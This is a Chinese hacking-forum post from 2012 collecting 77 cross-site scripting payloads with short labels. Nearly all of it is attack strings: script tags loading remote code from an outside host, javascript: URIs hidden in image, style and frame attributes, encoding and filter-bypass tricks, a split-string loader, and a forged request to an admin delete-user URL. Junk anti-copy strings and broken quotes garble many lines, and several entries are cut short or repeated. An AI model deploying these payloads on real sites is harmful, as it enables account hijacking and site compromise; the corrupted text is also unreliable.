找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3426|回复: 0
打印 上一主题 下一主题

xss跨站脚本攻击汇总

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-5 14:56:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
貌似关于xss的资料t00ls比较少,看见好东西Copy过来,不知道有木有童鞋需要Mark的。
$ z2 }6 C4 M/ d, k% J: h$ i1 r" h7 I! E% T& \2 _  l
(1)普通的XSS JavaScript注入! p0 [1 a( Z* x8 m) w) U* s$ \; F
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
  H3 M# N$ X) M9 N3 z# \9 `6 Z8 w3 d) C$ I
(2)IMG标签XSS使用JavaScript命令  x% v1 N# {6 Z0 v* e: F- _: j4 r$ B
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>% i  _( g( k* _; g! X9 Z' s4 b

) }$ z/ Q4 U' ]% Y8 F4 } (3)IMG标签无分号无引号
4 k2 J7 @, |: d <IMG SRC=javascript:alert(‘XSS’)>
6 y: ?8 @& H/ V9 w) g( R
# p4 X+ X2 x/ o. m (4)IMG标签大小写不敏感
2 @# l  g. [- e/ M6 f: E# X; F, Q <IMG SRC=JaVaScRiPt:alert(‘XSS’)>
. F" \: A9 x* V3 J0 F( ?; D6 e9 {/ M; d% U6 \
(5)HTML编码(必须有分号)% H0 ~6 ?, ^# V+ ?# l1 H) U5 f% |5 V
<IMG SRC=javascript:alert(“XSS”)>; e. `$ t! U- c
' g9 Y4 ?0 M6 M1 q4 S9 u" L
(6)修正缺陷IMG标签
, @/ b, M' b; T+ f- Z/ L) g <IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
3 j5 o0 q; a1 w% |" m  r' \7 @$ q& C7 g4 q+ j
(7)formCharCode标签(计算器)' D% |$ [) V3 b- M& R
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>& k+ L, ?# t* z( r$ V1 |6 M
7 e; X6 J6 m' g% I
(8)UTF-8的Unicode编码(计算器)2 O9 a" p) M, J* _4 O: k8 h
<IMG SRC=jav..省略..S')>* ~8 _- J& Q: H3 y6 \

- [5 k) k) _2 G. U6 P, K) G$ W" d (9)7位的UTF-8的Unicode编码是没有分号的(计算器)
, E4 v' K1 C0 }2 Q0 S) K1 Q7 L <IMG SRC=jav..省略..S')>2 x" Z9 ^( Y# ]- c; V4 t
9 I+ x' e$ R" t3 Q( B  }* G
(10)十六进制编码也是没有分号(计算器)( Y4 F) D" ~. {7 c; @
<IMG SRC=&#x6A&#x61&#x76&#x61..省略..&#x58&#x53&#x53&#x27&#x29>
: t1 {9 F2 o! I9 d3 n+ _
4 W( |$ q) L$ C$ a# `1 R8 t' w (11)嵌入式标签,将Javascript分开: E9 ?9 T1 X, I
<IMG SRC=”jav ascript:alert(‘XSS’);”>
5 g, v" h0 A2 R: x& q. |
$ o. H; Q/ i. a9 T/ x (12)嵌入式编码标签,将Javascript分开
' _7 d" s  h; X9 `. l <IMG SRC=”jav ascript:alert(‘XSS’);”>
# z6 A  u5 y; f2 R  {) g7 j
5 J& i5 t) I' k* L. R, n/ R" F (13)嵌入式换行符5 A3 G! d! h0 _7 `
<IMG SRC=”jav ascript:alert(‘XSS’);”>: o7 Y9 b, c8 Q4 k. `( L

+ @0 |+ Q; O4 `/ _3 P (14)嵌入式回车
) n, {* S; V. M: c) C4 _" H <IMG SRC=”jav ascript:alert(‘XSS’);”>' J9 a8 s3 Z1 W' {

3 c) U9 Q' `2 ~' g+ ^6 V (15)嵌入式多行注入JavaScript,这是XSS极端的例子+ o! B) K4 ^6 r* o* m. H$ y8 D
<IMG SRC=”javascript:alert(‘XSS‘)”>
/ K! B% H) ], U5 f
6 ~" m& t* G: {: J (16)解决限制字符(要求同页面)
- s1 M9 p' u' a9 t; r <script>z=’document.’</script>
! H, f' l9 x" I4 c <script>z=z+’write(“‘</script>
5 K( V/ V& @6 X  a6 ~* \ <script>z=z+’<script’</script>: Y6 w' _  g' O8 ]. q
<script>z=z+’ src=ht’</script>
) Z; [0 U; T  u. X4 x( e$ Z <script>z=z+’tp://ww’</script>
* L- d# p* S- J- N8 e' O <script>z=z+’w.shell’</script>( W- e& i  r3 Q0 G
<script>z=z+’.net/1.’</script>
6 j8 Y$ U- T, A2 a <script>z=z+’js></sc’</script>
8 I5 B9 S& M! Q7 w. }) M <script>z=z+’ript>”)’</script>* P5 r  i2 }6 }( ]- M% l! n
<script>eval_r(z)</script>& L$ v2 Q& s) F6 e7 v( h3 x' V
( ^4 P: H; P( i- y
(17)空字符
- a9 F% |2 }" x9 _$ c. B perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
( E7 O1 K3 F! H! n( f8 Q7 A- f. |
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用" B2 B) O( C, G7 y( m
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
8 q& d' x/ P% v0 O9 t" j
$ G8 i4 \$ j' g$ v (19)Spaces和meta前的IMG标签8 Y4 P1 y5 j0 E4 a9 j; o% Z
<IMG SRC=”   javascript:alert(‘XSS’);”>3 B: q& _  X1 b8 C

" a/ T  a$ g% i: f+ F- @4 C6 S8 i' H (20)Non-alpha-non-digit XSS
: n6 o+ m- e# Y, W. [ <SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>: z5 o8 v7 k" e5 j1 t, Q

2 E: I1 Z9 s/ A  V; }6 J (21)Non-alpha-non-digit XSS to 24 A$ k5 W5 O- v# V- J
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>: B) {$ ?8 C9 U% B) d; j4 q5 O

1 W5 T, Y7 U8 h) [& b (22)Non-alpha-non-digit XSS to 3: I. g2 g: N! t* r/ m" h7 X
<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>6 n2 S* \* [  q! M
! A" r9 |, i" F9 o3 w/ e( [
(23)双开括号
% ]9 x& O. F, k1 \) L* m <<SCRIPT>alert(“XSS”);//<</SCRIPT>/ y% d7 a* R% B, D* _, U
# S( H5 Q  A5 o% |' J8 `
(24)无结束脚本标记(仅火狐等浏览器)7 N5 J+ b7 N+ t! F. _$ v
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
' P6 \( x& e7 a6 ~0 a5 q3 I0 p" F. k8 @. k% Z7 X
(25)无结束脚本标记2' n: p3 X+ r  [6 d
<SCRIPT SRC=//3w.org/XSS/xss.js>/ Z. P+ L! Z7 @5 j' ]  k$ O1 H1 L

) \: C# Z: p& b, o (26)半开的HTML/JavaScript XSS7 L3 q2 p; X* _5 k; y
<IMG SRC=”javascript:alert(‘XSS’)”
7 k% x+ K7 H& |4 T) u2 `/ k  M6 `# H
(27)双开角括号
  K  A7 j) z- f, E9 v <iframe src=http://3w.org/XSS.html <' f" H+ u9 n- E+ \& ]) W

9 G, a2 ~! n0 p0 C5 R (28)无单引号 双引号 分号
6 \9 ?* T) s$ h7 q6 r( v8 ? <SCRIPT>a=/XSS/4 v4 e2 _  P$ v" A5 }% g1 _( |
alert(a.source)</SCRIPT>
4 Z4 [; k/ [1 K: S* m
* \  T( m7 a7 b  [$ ? (29)换码过滤的JavaScript3 U/ E9 Y6 F. q5 O- |9 k0 r# Q
\”;alert(‘XSS’);//- G: `' v( @# B* c- f! b1 \( B
. a  f& i9 F  \7 D( d- S
(30)结束Title标签% k  l4 g8 l* r4 g  z9 P
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
* i! l8 ]' W+ `4 F+ @
& a  S: \8 E! B  `6 ~% o2 p9 H (31)Input Image7 x6 L6 s* U; Q# X8 ~; v
<INPUT SRC=”javascript:alert(‘XSS’);”>
: h% p5 q  K/ P: ^! A- G; x. M  ]; O/ v  Y
(32)BODY Image
# \6 H& V9 ~6 a' i0 M <BODY BACKGROUND=”javascript:alert(‘XSS’)”>
+ S9 d" I9 w' G& v3 E
6 [. H& j# X5 ?1 M7 `1 a (33)BODY标签
2 J0 }( h- P& R* U+ b6 r <BODY(‘XSS’)>0 t. g0 V; R7 ?0 U$ r
- C7 p# l/ {3 j/ A- q$ \, {" ]7 J
(34)IMG Dynsrc
" v$ m$ o% {6 I- y2 ~& P* Z: { <IMG DYNSRC=”javascript:alert(‘XSS’)”>
1 \7 l8 A# W6 m7 ^/ h. T* i
7 N6 N6 L1 C1 j6 C: f$ _/ r0 a' M. o (35)IMG Lowsrc
. m0 Z/ ]: M$ f* H) T* b5 T <IMG LOWSRC=”javascript:alert(‘XSS’)”>
5 j  D+ e* Q% @1 [3 O* s) M+ H5 y' X# R0 }
(36)BGSOUND) |' q0 ^; I) }3 Z6 A. r; f
<BGSOUND SRC=”javascript:alert(‘XSS’);”>( H, m, \3 B4 x6 u
/ Z) N' E+ O8 l1 |5 g
(37)STYLE sheet
! ?9 ?; T8 V* ?- Z( }6 C <LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
' [/ I$ Y  \3 m
  _, X9 B4 z  d# y9 r (38)远程样式表
6 v/ X7 A! F4 U0 B <LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
8 l' g7 I& ?% ?3 M% w7 v& C+ t4 P0 h% \8 y
(39)List-style-image(列表式)' K4 l7 R# a: o/ e# n  Z3 d  R2 u
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
5 n2 Z. O0 d  {# [
# @$ U" e9 z& W0 O (40)IMG VBscript
  J$ w! ~4 n2 z0 L <IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS
6 P3 `) {; u6 D% n1 s9 r1 _# L6 `
(41)META链接url: d9 H* V  m* M
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>" G& z3 \; m& E  |9 W& g

7 X; u% {2 f9 t4 d4 }, ^+ O (42)Iframe5 R, ?0 Z6 G) U% g- ]7 k* D0 r2 F
<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>/ B; ], a* C- d' X

! R5 V, r2 s9 t" ]2 D (43)Frame& R& T( ^- G" E6 V9 c
<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>
4 @( f# h$ N6 G0 }( V: X: {
( H; l7 X+ o* z% L# h/ W9 ? (44)Table7 L; A+ K$ }* S7 a
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>. J6 H4 o: B2 a3 P
" k1 z! K# D( g# Y9 T; `
(45)TD
5 f( u+ W& W5 Q. V) I <TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
- o9 v, P5 b% I+ f, i! p9 V. Y) w3 V, F* u* s
(46)DIV background-image, O& S5 |. H( B
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
. W7 v. ^- d/ ~$ H- i( j% N. |0 q
# c3 `/ ]3 ^! D2 |' D: G (47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
% m0 z* G1 w% ?0 P( V <DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>) U0 d" w9 j( K* f( ]1 U% b2 H9 Q
  B& h  l! g7 S$ U
(48)DIV expression6 A+ i3 t( Z& C/ a2 J
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
% N7 P% H4 I8 n# o- J2 }  i: V5 }8 _& u4 l7 [7 S  B7 Y
(49)STYLE属性分拆表达3 ~7 m9 w- S! ?# o' Y; z2 q7 n& {
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>4 v6 {3 k( V. b6 l  S4 L, X1 L  _

% [: w# a# X+ J& x (50)匿名STYLE(组成:开角号和一个字母开头)
4 Y0 e- s  N7 i* K( o <XSS STYLE=”xss:expression_r(alert(‘XSS’))”>$ V2 c: X6 T+ _" N! x/ }7 n4 Q

1 G! I3 e$ u2 z1 n) d' ` (51)STYLE background-image
" {" w1 _6 a3 O <STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
* d1 b) e! m6 Q) }
" G  [) ^& Z/ R (52)IMG STYLE方式" t; Q9 ]: E8 @7 U
exppression(alert(“XSS”))’>( X; w5 C$ \: g& S. o; {0 o
# S& }: u0 E. n/ ?" v9 o7 u8 A
(53)STYLE background* b0 |; {0 U* }( h0 y8 M# p
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>/ Y! p2 T6 z! }
7 |( @+ K! I/ V" y' B2 a0 ]% z: Y
(54)BASE
" |' ]9 G+ d, N  Y+ E  E% K <BASE HREF=”javascript:alert(‘XSS’);//”>
5 ~! {2 c1 B- e/ r: o! c) E) i" b' [( ^3 e) U8 r" l1 e# z+ j
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
7 b' L2 x9 r  f/ d; g* k <EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>
& |8 Y) m3 o$ j$ j8 G: q' t- w) S0 d: j2 K$ Q1 t" v
(56)在flash中使用ActionScrpt可以混进你XSS的代码, E* Q' ^6 w$ \
a=”get”;6 `  N5 u  g- X* `/ H' m$ V9 B8 U1 N8 l
b=”URL(\”";
0 ?# \- h2 }. G3 p" w2 _& i c=”javascript:”;7 L+ J2 e! x! Q' U$ a$ ?
d=”alert(‘XSS’);\”)”;0 T# J! r( l7 {% R7 O& l
eval_r(a+b+c+d);+ n. Y- L% r' M7 C) k! y' Y

# ^) M& i# d- k (57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上" u- X# a" i) {, \0 |! S  N
<HTML xmlns:xss>% l# r2 R4 P0 F/ V$ V# {9 O
<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>2 i$ X7 E! P- }* a; U! G
<xss:xss>XSS</xss:xss>
& `' f6 H) b5 _$ O% S </HTML>0 E" U) M+ f0 k) N( ?
2 e7 D, H1 @. c! r, u
(58)如果过滤了你的JS你可以在图片里添加JS代码来利用' o: _: j. a2 s+ s+ t( m$ t
<SCRIPT SRC=””></SCRIPT>, P9 v) |* ]6 r6 Y, a4 r
! Q& a9 T; w$ H
(59)IMG嵌入式命令,可执行任意命令
1 d0 i$ P5 F. p: X- O0 O <IMG SRC=”http://www.XXX.com/a.php?a=b”>
! E  f5 T9 R1 W4 n. l
4 [8 [/ ?9 Q6 g% |* w: o (60)IMG嵌入式命令(a.jpg在同服务器)
2 `0 {: k! h9 r, E8 A) R+ ` Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser
3 u9 o( b; H; c$ T5 B: @! ]1 p9 w
& d) [, D. M3 O# g (61)绕符号过滤
  g5 D  h; D* v  i3 A <SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>' f  ^  Q* v' o. @, l( f: \' {

# ]& {7 Y+ g6 Q  t% Q+ F (62)
) F5 ?5 f8 K& i* n' A7 [+ _$ p: k, z <SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>
- {2 W# J+ j1 j2 G
0 k  {$ m# k% \5 y) r- t3 w8 ` (63)! `, r6 g: Y' \$ R+ Z* h, ^* g1 j
<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>
6 h$ o. `) u$ r! X; q
) }) F$ |) ?8 E' F+ Q7 s! I (64)6 K- }0 ~( a: z+ h
<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>* G7 c. r. x+ j! H: f" L

  `, r1 o2 u/ G. E. T (65)3 W8 G- v9 W' o* J
<SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>7 c6 E# Q8 h, A% v0 g# _7 N

  {: Y0 Q( M, m (66)
4 K: M- n3 O! w, ? <SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>
. t8 m; B- z" M8 ?8 a
3 j5 E# F  s- g; T0 A (67)+ R: r; m: @) b" J
<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT>
3 y; x: e4 ~; @8 x; g
' z# j0 }9 W2 ?  p+ `# E* T1 J (68)URL绕行
# Q( F2 P8 Y7 K; M5 f <A HREF=”http://127.0.0.1/”>XSS</A>% k, r7 y, F4 p. r7 Q, \- V( r; E
/ t8 Q. ?" E7 E& N
(69)URL编码
9 @  _' A5 B. t: }2 |# T4 f <A HREF=”http://3w.org”>XSS</A>
! B0 \4 E& u+ D; A& ?4 [) G6 M. P3 m) M3 `% y
(70)IP十进制- Z9 ~' y/ o' t
<A HREF=”http://3232235521″>XSS</A>
& x8 M& M, g2 A2 ?2 o) b- G  A
' o8 J1 w1 v! ]; F2 ?3 i0 d (71)IP十六进制
, d/ X* |- y. L5 u1 B <A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>( T* C3 s' N% K7 G# n  V6 @
+ J8 @6 Z: N% t/ c) c9 ?* I
(72)IP八进制% U7 |5 R1 h# O7 R7 G3 ]
<A HREF=”http://0300.0250.0000.0001″>XSS</A>
" V% A7 p- K0 C/ u6 ]& o/ m
# b, k, Q2 y" F( M& g (73)混合编码/ [8 h; z$ u" X. V# c1 Z
<A HREF=”h" F2 U" c6 f' w. X
tt p://6 6.000146.0×7.147/”">XSS</A>
$ z# N& m! K2 c9 q8 g' u) u* L6 k  }0 i/ n9 |# ]
(74)节省[http:]
1 J% Z7 P2 h  z; j <A HREF=”//www.google.com/”>XSS</A>
' L5 i9 K: _0 f# i8 f% j3 t; s+ }3 ^
(75)节省[www]) ]+ C! P( Q; q
<A HREF=”http://google.com/”>XSS</A>
6 F3 V  o( d3 ^8 o3 b+ ^& }- r3 n9 C4 W/ Y+ B+ V  }/ f# ~
(76)绝对点绝对DNS8 t9 L) r6 {. |4 i, s# d
<A HREF=”http://www.google.com./”>XSS</A>' {0 D2 b4 B  b" f: m5 v- R- {

% l9 _/ W  u: C: m/ e; k+ Q (77)javascript链接' D2 u5 t, l+ F3 }. d) l
<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表